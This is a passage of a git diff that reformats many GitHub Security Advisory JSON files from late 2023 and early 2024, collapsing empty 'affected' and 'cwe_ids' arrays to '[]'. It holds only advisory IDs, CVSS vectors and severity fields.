"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-r3fh-j377-xjg6/GHSA-r3fh-j377-xjg6.json b/advisories/unreviewed/2023/12/GHSA-r3fh-j377-xjg6/GHSA-r3fh-j377-xjg6.json index d7fff9b9a17..76d1de5e1be 100644 --- a/advisories/unreviewed/2023/12/GHSA-r3fh-j377-xjg6/GHSA-r3fh-j377-xjg6.json +++ b/advisories/unreviewed/2023/12/GHSA-r3fh-j377-xjg6/GHSA-r3fh-j377-xjg6.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-rphc-vh34-9jmw/GHSA-rphc-vh34-9jmw.json b/advisories/unreviewed/2023/12/GHSA-rphc-vh34-9jmw/GHSA-rphc-vh34-9jmw.json index 9e6490f97d7..f922d34a155 100644 --- a/advisories/unreviewed/2023/12/GHSA-rphc-vh34-9jmw/GHSA-rphc-vh34-9jmw.json +++ b/advisories/unreviewed/2023/12/GHSA-rphc-vh34-9jmw/GHSA-rphc-vh34-9jmw.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", @@ -27,9 +25,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2023/12/GHSA-rv9h-r568-vpqg/GHSA-rv9h-r568-vpqg.json b/advisories/unreviewed/2023/12/GHSA-rv9h-r568-vpqg/GHSA-rv9h-r568-vpqg.json index 6bffe9ac118..a44bba1dedc 100644 --- a/advisories/unreviewed/2023/12/GHSA-rv9h-r568-vpqg/GHSA-rv9h-r568-vpqg.json +++ b/advisories/unreviewed/2023/12/GHSA-rv9h-r568-vpqg/GHSA-rv9h-r568-vpqg.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-v9r2-xx4h-x954/GHSA-v9r2-xx4h-x954.json b/advisories/unreviewed/2023/12/GHSA-v9r2-xx4h-x954/GHSA-v9r2-xx4h-x954.json index 4cf5c315c70..d48b356f30d 100644 --- a/advisories/unreviewed/2023/12/GHSA-v9r2-xx4h-x954/GHSA-v9r2-xx4h-x954.json +++ b/advisories/unreviewed/2023/12/GHSA-v9r2-xx4h-x954/GHSA-v9r2-xx4h-x954.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-vcpj-p3p8-mx6q/GHSA-vcpj-p3p8-mx6q.json b/advisories/unreviewed/2023/12/GHSA-vcpj-p3p8-mx6q/GHSA-vcpj-p3p8-mx6q.json index 15c0a776061..4ffe9f93a64 100644 --- a/advisories/unreviewed/2023/12/GHSA-vcpj-p3p8-mx6q/GHSA-vcpj-p3p8-mx6q.json +++ b/advisories/unreviewed/2023/12/GHSA-vcpj-p3p8-mx6q/GHSA-vcpj-p3p8-mx6q.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-vcw3-69r6-3w2m/GHSA-vcw3-69r6-3w2m.json b/advisories/unreviewed/2023/12/GHSA-vcw3-69r6-3w2m/GHSA-vcw3-69r6-3w2m.json index f3dd34dcba2..df3fdde2a90 100644 --- a/advisories/unreviewed/2023/12/GHSA-vcw3-69r6-3w2m/GHSA-vcw3-69r6-3w2m.json +++ b/advisories/unreviewed/2023/12/GHSA-vcw3-69r6-3w2m/GHSA-vcw3-69r6-3w2m.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-vjmq-6c5p-f7rq/GHSA-vjmq-6c5p-f7rq.json b/advisories/unreviewed/2023/12/GHSA-vjmq-6c5p-f7rq/GHSA-vjmq-6c5p-f7rq.json index 002608f115b..0a8cd1d3c58 100644 --- a/advisories/unreviewed/2023/12/GHSA-vjmq-6c5p-f7rq/GHSA-vjmq-6c5p-f7rq.json +++ b/advisories/unreviewed/2023/12/GHSA-vjmq-6c5p-f7rq/GHSA-vjmq-6c5p-f7rq.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-vp7j-8gh9-827g/GHSA-vp7j-8gh9-827g.json b/advisories/unreviewed/2023/12/GHSA-vp7j-8gh9-827g/GHSA-vp7j-8gh9-827g.json index e28eeeb89c4..b4c4b5050ef 100644 --- a/advisories/unreviewed/2023/12/GHSA-vp7j-8gh9-827g/GHSA-vp7j-8gh9-827g.json +++ b/advisories/unreviewed/2023/12/GHSA-vp7j-8gh9-827g/GHSA-vp7j-8gh9-827g.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-vw2g-7q92-r8q5/GHSA-vw2g-7q92-r8q5.json b/advisories/unreviewed/2023/12/GHSA-vw2g-7q92-r8q5/GHSA-vw2g-7q92-r8q5.json index 9d24e93d15a..7149d24b37f 100644 --- a/advisories/unreviewed/2023/12/GHSA-vw2g-7q92-r8q5/GHSA-vw2g-7q92-r8q5.json +++ b/advisories/unreviewed/2023/12/GHSA-vw2g-7q92-r8q5/GHSA-vw2g-7q92-r8q5.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-wpp8-597g-3fg4/GHSA-wpp8-597g-3fg4.json b/advisories/unreviewed/2023/12/GHSA-wpp8-597g-3fg4/GHSA-wpp8-597g-3fg4.json index 12a7a613ffa..6a90dca829c 100644 --- a/advisories/unreviewed/2023/12/GHSA-wpp8-597g-3fg4/GHSA-wpp8-597g-3fg4.json +++ b/advisories/unreviewed/2023/12/GHSA-wpp8-597g-3fg4/GHSA-wpp8-597g-3fg4.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2023/12/GHSA-x2j8-43mr-3q57/GHSA-x2j8-43mr-3q57.json b/advisories/unreviewed/2023/12/GHSA-x2j8-43mr-3q57/GHSA-x2j8-43mr-3q57.json index f8bb742d7a0..59de82d7a01 100644 --- a/advisories/unreviewed/2023/12/GHSA-x2j8-43mr-3q57/GHSA-x2j8-43mr-3q57.json +++ b/advisories/unreviewed/2023/12/GHSA-x2j8-43mr-3q57/GHSA-x2j8-43mr-3q57.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-23p4-xxgc-xqvf/GHSA-23p4-xxgc-xqvf.json b/advisories/unreviewed/2024/01/GHSA-23p4-xxgc-xqvf/GHSA-23p4-xxgc-xqvf.json index 0214af8cede..8516b002e19 100644 --- a/advisories/unreviewed/2024/01/GHSA-23p4-xxgc-xqvf/GHSA-23p4-xxgc-xqvf.json +++ b/advisories/unreviewed/2024/01/GHSA-23p4-xxgc-xqvf/GHSA-23p4-xxgc-xqvf.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-24gf-6m5f-h6pg/GHSA-24gf-6m5f-h6pg.json b/advisories/unreviewed/2024/01/GHSA-24gf-6m5f-h6pg/GHSA-24gf-6m5f-h6pg.json index 6eacc33f203..f77c5699f54 100644 --- a/advisories/unreviewed/2024/01/GHSA-24gf-6m5f-h6pg/GHSA-24gf-6m5f-h6pg.json +++ b/advisories/unreviewed/2024/01/GHSA-24gf-6m5f-h6pg/GHSA-24gf-6m5f-h6pg.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", @@ -27,9 +25,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/01/GHSA-29g4-35pw-347h/GHSA-29g4-35pw-347h.json b/advisories/unreviewed/2024/01/GHSA-29g4-35pw-347h/GHSA-29g4-35pw-347h.json index 7a6c9be6fde..a625b17facc 100644 --- a/advisories/unreviewed/2024/01/GHSA-29g4-35pw-347h/GHSA-29g4-35pw-347h.json +++ b/advisories/unreviewed/2024/01/GHSA-29g4-35pw-347h/GHSA-29g4-35pw-347h.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-2h63-m6jf-2cm7/GHSA-2h63-m6jf-2cm7.json b/advisories/unreviewed/2024/01/GHSA-2h63-m6jf-2cm7/GHSA-2h63-m6jf-2cm7.json index 890c7883907..cd1ed59e1c6 100644 --- a/advisories/unreviewed/2024/01/GHSA-2h63-m6jf-2cm7/GHSA-2h63-m6jf-2cm7.json +++ b/advisories/unreviewed/2024/01/GHSA-2h63-m6jf-2cm7/GHSA-2h63-m6jf-2cm7.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-3hm6-rvrr-hc6r/GHSA-3hm6-rvrr-hc6r.json b/advisories/unreviewed/2024/01/GHSA-3hm6-rvrr-hc6r/GHSA-3hm6-rvrr-hc6r.json index db21524e206..cb30d2892e1 100644 --- a/advisories/unreviewed/2024/01/GHSA-3hm6-rvrr-hc6r/GHSA-3hm6-rvrr-hc6r.json +++ b/advisories/unreviewed/2024/01/GHSA-3hm6-rvrr-hc6r/GHSA-3hm6-rvrr-hc6r.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-3rv5-pgj2-5frg/GHSA-3rv5-pgj2-5frg.json b/advisories/unreviewed/2024/01/GHSA-3rv5-pgj2-5frg/GHSA-3rv5-pgj2-5frg.json index 43c6c2b926a..ed97f343d4c 100644 --- a/advisories/unreviewed/2024/01/GHSA-3rv5-pgj2-5frg/GHSA-3rv5-pgj2-5frg.json +++ b/advisories/unreviewed/2024/01/GHSA-3rv5-pgj2-5frg/GHSA-3rv5-pgj2-5frg.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-45hh-rj6v-548f/GHSA-45hh-rj6v-548f.json b/advisories/unreviewed/2024/01/GHSA-45hh-rj6v-548f/GHSA-45hh-rj6v-548f.json index 797e542cdd4..fcc314d8668 100644 --- a/advisories/unreviewed/2024/01/GHSA-45hh-rj6v-548f/GHSA-45hh-rj6v-548f.json +++ b/advisories/unreviewed/2024/01/GHSA-45hh-rj6v-548f/GHSA-45hh-rj6v-548f.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-4723-qmx5-q5h4/GHSA-4723-qmx5-q5h4.json b/advisories/unreviewed/2024/01/GHSA-4723-qmx5-q5h4/GHSA-4723-qmx5-q5h4.json index bb805b47969..97b30c00115 100644 --- a/advisories/unreviewed/2024/01/GHSA-4723-qmx5-q5h4/GHSA-4723-qmx5-q5h4.json +++ b/advisories/unreviewed/2024/01/GHSA-4723-qmx5-q5h4/GHSA-4723-qmx5-q5h4.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-4hh7-5c39-pfhw/GHSA-4hh7-5c39-pfhw.json b/advisories/unreviewed/2024/01/GHSA-4hh7-5c39-pfhw/GHSA-4hh7-5c39-pfhw.json index 9839c6aed87..6178adae6b3 100644 --- a/advisories/unreviewed/2024/01/GHSA-4hh7-5c39-pfhw/GHSA-4hh7-5c39-pfhw.json +++ b/advisories/unreviewed/2024/01/GHSA-4hh7-5c39-pfhw/GHSA-4hh7-5c39-pfhw.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-4jrv-6m77-vrhq/GHSA-4jrv-6m77-vrhq.json b/advisories/unreviewed/2024/01/GHSA-4jrv-6m77-vrhq/GHSA-4jrv-6m77-vrhq.json index 7e9d7977699..843608222a8 100644 --- a/advisories/unreviewed/2024/01/GHSA-4jrv-6m77-vrhq/GHSA-4jrv-6m77-vrhq.json +++ b/advisories/unreviewed/2024/01/GHSA-4jrv-6m77-vrhq/GHSA-4jrv-6m77-vrhq.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-595j-mfvm-f4gx/GHSA-595j-mfvm-f4gx.json b/advisories/unreviewed/2024/01/GHSA-595j-mfvm-f4gx/GHSA-595j-mfvm-f4gx.json index 1b5ba017a35..87b984b31ff 100644 --- a/advisories/unreviewed/2024/01/GHSA-595j-mfvm-f4gx/GHSA-595j-mfvm-f4gx.json +++ b/advisories/unreviewed/2024/01/GHSA-595j-mfvm-f4gx/GHSA-595j-mfvm-f4gx.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-6485-hpmh-6q3r/GHSA-6485-hpmh-6q3r.json b/advisories/unreviewed/2024/01/GHSA-6485-hpmh-6q3r/GHSA-6485-hpmh-6q3r.json index 90f092b04fd..525cff5cd00 100644 --- a/advisories/unreviewed/2024/01/GHSA-6485-hpmh-6q3r/GHSA-6485-hpmh-6q3r.json +++ b/advisories/unreviewed/2024/01/GHSA-6485-hpmh-6q3r/GHSA-6485-hpmh-6q3r.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-6px6-2jx5-44xw/GHSA-6px6-2jx5-44xw.json b/advisories/unreviewed/2024/01/GHSA-6px6-2jx5-44xw/GHSA-6px6-2jx5-44xw.json index 45839bc9dbf..8cadbf09961 100644 --- a/advisories/unreviewed/2024/01/GHSA-6px6-2jx5-44xw/GHSA-6px6-2jx5-44xw.json +++ b/advisories/unreviewed/2024/01/GHSA-6px6-2jx5-44xw/GHSA-6px6-2jx5-44xw.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", @@ -43,9 +41,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/01/GHSA-6wrq-j9qq-5v7v/GHSA-6wrq-j9qq-5v7v.json b/advisories/unreviewed/2024/01/GHSA-6wrq-j9qq-5v7v/GHSA-6wrq-j9qq-5v7v.json index 6707d3fde14..571d4c64ff5 100644 --- a/advisories/unreviewed/2024/01/GHSA-6wrq-j9qq-5v7v/GHSA-6wrq-j9qq-5v7v.json +++ b/advisories/unreviewed/2024/01/GHSA-6wrq-j9qq-5v7v/GHSA-6wrq-j9qq-5v7v.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-7vrx-mj2w-52mf/GHSA-7vrx-mj2w-52mf.json b/advisories/unreviewed/2024/01/GHSA-7vrx-mj2w-52mf/GHSA-7vrx-mj2w-52mf.json index 39b4163c8f6..8034289f4c2 100644 --- a/advisories/unreviewed/2024/01/GHSA-7vrx-mj2w-52mf/GHSA-7vrx-mj2w-52mf.json +++ b/advisories/unreviewed/2024/01/GHSA-7vrx-mj2w-52mf/GHSA-7vrx-mj2w-52mf.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-84m5-rqxq-483p/GHSA-84m5-rqxq-483p.json b/advisories/unreviewed/2024/01/GHSA-84m5-rqxq-483p/GHSA-84m5-rqxq-483p.json index 9903893e078..9fc7e26b43a 100644 --- a/advisories/unreviewed/2024/01/GHSA-84m5-rqxq-483p/GHSA-84m5-rqxq-483p.json +++ b/advisories/unreviewed/2024/01/GHSA-84m5-rqxq-483p/GHSA-84m5-rqxq-483p.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-8fxq-p79f-2rxp/GHSA-8fxq-p79f-2rxp.json b/advisories/unreviewed/2024/01/GHSA-8fxq-p79f-2rxp/GHSA-8fxq-p79f-2rxp.json index d6b1cc134c6..bbd9fa735c0 100644 --- a/advisories/unreviewed/2024/01/GHSA-8fxq-p79f-2rxp/GHSA-8fxq-p79f-2rxp.json +++ b/advisories/unreviewed/2024/01/GHSA-8fxq-p79f-2rxp/GHSA-8fxq-p79f-2rxp.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-93v2-7c6x-23m2/GHSA-93v2-7c6x-23m2.json b/advisories/unreviewed/2024/01/GHSA-93v2-7c6x-23m2/GHSA-93v2-7c6x-23m2.json index 52650e6874d..29912348215 100644 --- a/advisories/unreviewed/2024/01/GHSA-93v2-7c6x-23m2/GHSA-93v2-7c6x-23m2.json +++ b/advisories/unreviewed/2024/01/GHSA-93v2-7c6x-23m2/GHSA-93v2-7c6x-23m2.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-c2h4-p5j3-jcgh/GHSA-c2h4-p5j3-jcgh.json b/advisories/unreviewed/2024/01/GHSA-c2h4-p5j3-jcgh/GHSA-c2h4-p5j3-jcgh.json index d350cb558d0..93d04dcc82c 100644 --- a/advisories/unreviewed/2024/01/GHSA-c2h4-p5j3-jcgh/GHSA-c2h4-p5j3-jcgh.json +++ b/advisories/unreviewed/2024/01/GHSA-c2h4-p5j3-jcgh/GHSA-c2h4-p5j3-jcgh.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-c39j-wph3-8c3c/GHSA-c39j-wph3-8c3c.json b/advisories/unreviewed/2024/01/GHSA-c39j-wph3-8c3c/GHSA-c39j-wph3-8c3c.json index 56cc29f574a..9ab31128747 100644 --- a/advisories/unreviewed/2024/01/GHSA-c39j-wph3-8c3c/GHSA-c39j-wph3-8c3c.json +++ b/advisories/unreviewed/2024/01/GHSA-c39j-wph3-8c3c/GHSA-c39j-wph3-8c3c.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-c9r7-r8hx-9549/GHSA-c9r7-r8hx-9549.json b/advisories/unreviewed/2024/01/GHSA-c9r7-r8hx-9549/GHSA-c9r7-r8hx-9549.json index cd3ccaf0f81..06234b670a3 100644 --- a/advisories/unreviewed/2024/01/GHSA-c9r7-r8hx-9549/GHSA-c9r7-r8hx-9549.json +++ b/advisories/unreviewed/2024/01/GHSA-c9r7-r8hx-9549/GHSA-c9r7-r8hx-9549.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-cc2p-6hmp-4729/GHSA-cc2p-6hmp-4729.json b/advisories/unreviewed/2024/01/GHSA-cc2p-6hmp-4729/GHSA-cc2p-6hmp-4729.json index 97003189790..0623ebf486a 100644 --- a/advisories/unreviewed/2024/01/GHSA-cc2p-6hmp-4729/GHSA-cc2p-6hmp-4729.json +++ b/advisories/unreviewed/2024/01/GHSA-cc2p-6hmp-4729/GHSA-cc2p-6hmp-4729.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-cp9r-x3vr-r488/GHSA-cp9r-x3vr-r488.json b/advisories/unreviewed/2024/01/GHSA-cp9r-x3vr-r488/GHSA-cp9r-x3vr-r488.json index 44e22f7c9a6..d9558340266 100644 --- a/advisories/unreviewed/2024/01/GHSA-cp9r-x3vr-r488/GHSA-cp9r-x3vr-r488.json +++ b/advisories/unreviewed/2024/01/GHSA-cp9r-x3vr-r488/GHSA-cp9r-x3vr-r488.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-cx8g-4cf5-cjv3/GHSA-cx8g-4cf5-cjv3.json b/advisories/unreviewed/2024/01/GHSA-cx8g-4cf5-cjv3/GHSA-cx8g-4cf5-cjv3.json index 6575a6867e5..2b3c2b1cac3 100644 --- a/advisories/unreviewed/2024/01/GHSA-cx8g-4cf5-cjv3/GHSA-cx8g-4cf5-cjv3.json +++ b/advisories/unreviewed/2024/01/GHSA-cx8g-4cf5-cjv3/GHSA-cx8g-4cf5-cjv3.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-g338-cr75-98gg/GHSA-g338-cr75-98gg.json b/advisories/unreviewed/2024/01/GHSA-g338-cr75-98gg/GHSA-g338-cr75-98gg.json index e61d62b765a..3ef3e66ece7 100644 --- a/advisories/unreviewed/2024/01/GHSA-g338-cr75-98gg/GHSA-g338-cr75-98gg.json +++ b/advisories/unreviewed/2024/01/GHSA-g338-cr75-98gg/GHSA-g338-cr75-98gg.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-gf6c-58rg-8pjj/GHSA-gf6c-58rg-8pjj.json b/advisories/unreviewed/2024/01/GHSA-gf6c-58rg-8pjj/GHSA-gf6c-58rg-8pjj.json index 9ce9cc800d5..04400acf711 100644 --- a/advisories/unreviewed/2024/01/GHSA-gf6c-58rg-8pjj/GHSA-gf6c-58rg-8pjj.json +++ b/advisories/unreviewed/2024/01/GHSA-gf6c-58rg-8pjj/GHSA-gf6c-58rg-8pjj.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-gqc3-hmp6-wx23/GHSA-gqc3-hmp6-wx23.json b/advisories/unreviewed/2024/01/GHSA-gqc3-hmp6-wx23/GHSA-gqc3-hmp6-wx23.json index f84eba6096e..dbe00d0d340 100644 --- a/advisories/unreviewed/2024/01/GHSA-gqc3-hmp6-wx23/GHSA-gqc3-hmp6-wx23.json +++ b/advisories/unreviewed/2024/01/GHSA-gqc3-hmp6-wx23/GHSA-gqc3-hmp6-wx23.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-h4c8-894f-qv79/GHSA-h4c8-894f-qv79.json b/advisories/unreviewed/2024/01/GHSA-h4c8-894f-qv79/GHSA-h4c8-894f-qv79.json index 02bff7e2615..d664f3af9e8 100644 --- a/advisories/unreviewed/2024/01/GHSA-h4c8-894f-qv79/GHSA-h4c8-894f-qv79.json +++ b/advisories/unreviewed/2024/01/GHSA-h4c8-894f-qv79/GHSA-h4c8-894f-qv79.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-j7xq-gvq8-pr7m/GHSA-j7xq-gvq8-pr7m.json b/advisories/unreviewed/2024/01/GHSA-j7xq-gvq8-pr7m/GHSA-j7xq-gvq8-pr7m.json index a54c7f1f7d0..60ed7ea7ff4 100644 --- a/advisories/unreviewed/2024/01/GHSA-j7xq-gvq8-pr7m/GHSA-j7xq-gvq8-pr7m.json +++ b/advisories/unreviewed/2024/01/GHSA-j7xq-gvq8-pr7m/GHSA-j7xq-gvq8-pr7m.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-jjqj-xq2v-c8jx/GHSA-jjqj-xq2v-c8jx.json b/advisories/unreviewed/2024/01/GHSA-jjqj-xq2v-c8jx/GHSA-jjqj-xq2v-c8jx.json index 1fe9483c5ec..867e9197bbb 100644 --- a/advisories/unreviewed/2024/01/GHSA-jjqj-xq2v-c8jx/GHSA-jjqj-xq2v-c8jx.json +++ b/advisories/unreviewed/2024/01/GHSA-jjqj-xq2v-c8jx/GHSA-jjqj-xq2v-c8jx.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/01/GHSA-jjr8-97p7-vmmg/GHSA-jjr8-97p7-vmmg.json b/advisories/unreviewed/2024/01/GHSA-jjr8-97p7-vmmg/GHSA-jjr8-97p7-vmmg.json index 4315a006fc0..a1fd08fcd53 100644 --- 